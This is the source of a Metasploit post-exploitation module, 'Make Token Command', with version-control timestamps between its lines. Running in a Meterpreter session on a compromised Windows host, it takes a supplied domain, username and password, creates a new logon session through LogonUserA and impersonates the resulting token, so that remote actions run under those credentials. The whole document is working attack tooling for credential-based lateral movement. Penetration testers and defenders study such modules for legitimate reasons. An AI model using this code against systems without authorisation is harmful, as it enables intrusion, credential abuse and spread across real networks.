2023-05-24 10:33:52 +02:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Post
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Make Token Command' ,
'Description' = > %q{
2023-06-06 09:07:57 +02:00
In its default configuration, this module creates a new network security context with the specified
2023-05-24 10:33:52 +02:00
logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and
2023-06-06 09:07:57 +02:00
a new logon session is created and linked to that token. The token is then impersonated to acquire
the new network security context. This module has no effect on local actions - only on remote ones
(where the specified credential material will be used). This module does not validate the credentials
2023-05-24 10:33:52 +02:00
specified.
} ,
'License' = > MSF_LICENSE ,
'Notes' = > {
2023-06-06 09:07:57 +02:00
'AKA' = > [ 'make_token' , 'maketoken' ] ,
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ IOC_IN_LOGS ]
2023-05-24 10:33:52 +02:00
} ,
'Platform' = > [ 'win' ] ,
'SessionTypes' = > [ 'meterpreter' ] ,
'Author' = > [
2023-06-06 09:07:57 +02:00
'Daniel López Jiménez (attl4s)' ,
2023-05-24 10:33:52 +02:00
'Simone Salucci (saim1z)'
] ,
'Compat' = > {
'Meterpreter' = > {
'Commands' = > %w[
stdapi_railgun_api
stdapi_sys_config_revert_to_self
stdapi_sys_config_update_token
]
}
}
)
)
register_options (
[
OptString . new ( 'DOMAIN' , [ true , 'Domain to use' ] ) ,
2023-05-25 18:55:49 +02:00
OptString . new ( 'USERNAME' , [ true , 'Username to use' ] ) ,
2023-05-24 10:33:52 +02:00
OptString . new ( 'PASSWORD' , [ true , 'Password to use' ] )
]
)
register_advanced_options (
[
2023-06-06 09:07:57 +02:00
OptEnum . new ( 'LOGONTYPE' , [ true , 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution' , 'LOGON32_LOGON_NEW_CREDENTIALS' , [ 'LOGON32_LOGON_BATCH' , 'LOGON32_LOGON_INTERACTIVE' , 'LOGON32_LOGON_NETWORK' , 'LOGON32_LOGON_NETWORK_CLEARTEXT' , 'LOGON32_LOGON_NEW_CREDENTIALS' , 'LOGON32_LOGON_SERVICE' , 'LOGON32_LOGON_UNLOCK' ] ] ) ,
2023-05-24 10:33:52 +02:00
]
)
end
def run
2023-05-24 16:28:56 +02:00
# Make sure we meet the requirements before running the script
2023-05-25 19:05:42 +02:00
fail_with ( Failure :: BadConfig , 'This module requires a Meterpreter session' ) unless session . type == 'meterpreter'
2023-05-24 10:33:52 +02:00
# check/set vars
2023-05-25 19:05:42 +02:00
user = datastore [ 'USERNAME' ]
2023-05-24 10:33:52 +02:00
password = datastore [ 'PASSWORD' ]
domain = datastore [ 'DOMAIN' ]
logontype = datastore [ 'LOGONTYPE' ]
# revert any existing impersonation before doing a new one
2023-06-06 09:07:57 +02:00
print_status ( 'Executing rev2self to revert any previous token impersonations' )
2023-05-24 10:33:52 +02:00
session . sys . config . revert_to_self
2023-06-06 09:07:57 +02:00
2023-05-24 10:33:52 +02:00
# create new logon session / token pair
print_status ( " Executing LogonUserA with the flag #{ logontype } to create a new security context for #{ domain } \\ #{ user } " )
logon_user = session . railgun . advapi32 . LogonUserA ( user , domain , password , logontype , 'LOGON32_PROVIDER_DEFAULT' , 4 )
if logon_user [ 'return' ]
# get the token handle
ph_token = logon_user [ 'phToken' ]
2023-06-06 09:07:57 +02:00
print_status ( 'Impersonating the new security context...' )
2023-05-24 10:33:52 +02:00
# store the token within the server
session . sys . config . update_token ( ph_token )
2023-06-06 09:07:57 +02:00
print_good ( 'The session should now run with the new security context!' )
# send warning
2023-05-24 10:33:52 +02:00
if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS'
2023-06-06 09:07:57 +02:00
print_warning ( 'Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)' )
2023-05-24 10:33:52 +02:00
end
else
print_error ( " LogonUserA call failed, Error Code: #{ logon_user [ 'GetLastError' ] } - #{ logon_user [ 'ErrorMessage' ] } " )
end
end
end